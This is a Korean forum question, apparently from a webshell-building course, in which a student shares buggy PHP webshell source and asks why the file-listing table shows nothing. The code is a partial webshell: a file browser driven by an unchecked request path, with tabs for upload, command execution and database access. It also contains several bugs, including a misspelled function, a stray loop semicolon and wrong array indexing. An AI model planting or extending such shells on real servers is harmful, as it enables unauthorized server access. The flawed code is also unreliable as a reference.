해결됨
Skill-Up! 배워서 바로 쓰는 웹쉘 제작
질문 있어요! 제발 해결해주세요
이 소스로 실행 해보면
Name,Type,Date,Action 부분 태이블에 아무것도 안 떠요
__________소스___________
<?
header("Content-Type: text/html; charset=UTF-8");
$mode = $_REQUEST["mode"];
$path = $_REQUEST["path"];
$page = basename($_SERVER["PHP_SELF"]);
if(empty($path)){
$tempFileName = basename(__FILE__);
$tempPath = realpath(__FILE__);
$path = str_replace($tempFileName, "", $tempPath);
$path = str_replace("\\", "/", $path);
} else {
$path = realpath($path)."/";
$path = str_replace("\\", "/", $path);
}
# Dir list retuurn function
function getDirList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)) {
if(is_dir($getPath.$file) == "1") {
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}
#File List return function
function getFileList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)) {
if(is_dir($getPath.$file) != "1") {
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
<title>Space_Pig; webshell</title>
<!-- 합쳐지고 최소화된 최신 CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<!-- 부가적인 테마 -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">
<!-- 합쳐지고 최소화된 최신 자바스크립트 -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-md-3"></div>
<div class="col-md-6">
<h3>Webshell <small>Create by space_pig;</small></h3>
<hr>
<ul class="nav nav-tabs">
<li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
<li role="presentation" <?if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileupload">File upload</a></li>
<li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execustion</a></li>
<li role="presentation" <?if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB connector</a></li>
<li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>
</ul>
<br>
<? if(empty($mode) || $mode == "fileBrowser") { ?>
<form action="<?=$page?>?mode=fileBrowser" metho="GET">
<div class="input-group">
<span class="input-group-addon">Current Path</span>
<input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
<span class="input-group-btn">
<button class="btn btn-default" type="submit">Move</button>
</span>
</div>
</form>
<hr>
<div class="table-responsive">
<table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;">
<thead>
<tr class="active">
<th style="width: 50%" class="text-center">Name</th>
<th style="width: 14%" class="text-center">Type</th>
<th style="width: 18%" class="text-center">Date</th>
<th style="width: 18%" class="text-center">Action</th>
</tr>
</thead>
<tbody>
<?
$dirList = getDirList($path);
for($i=0; $i<count($dirList); $i++) {
if($dirList[$i] != ".") {
$dirDate = date("Y-m-d H:i", filetime($path.$dirList[$i]))
?>
<tr>
<td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>%nbsp;%nbsp;<?=$dirList[$i]?></td>
<td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
<td style="vertical-align: middle" class="text-center">
<? if($dirList[$i] != "..") { ?>
<div class="btn-group btn-group-sm" role="group" aria-label="">
<button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
</div>
<? } ?>
</td>
</tr>
<?
}
}
?>
<?
$fileList = getFileList($path);
for($i=0; $i<count($fileList); $i++); {
$fileDate = date("Y-m-d H:i", filemtime($path.$dirList[$i]));
?>
<tr>
<td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td>
<td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
<td style="vertical-align: middle" class="text-center">
<div class="btn-group btn-group-sm" role="group" aria-label="">
<button type="button" class="btn btn-info" title="File Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button>
<button type="button" class="btn btn-warning" title="File Modify"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button>
<button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
</div>
</td>
</tr>
<? } ?>
</tbody>
</table>
</div>
<? }?>
<hr>
<p class="text-muted text-center">Copyrightⓒ 2021, Space_pig, ALL rights reserved.</p>
</div>
<div class="col-md-3"></div>
</div>
</div>
</body>
</html>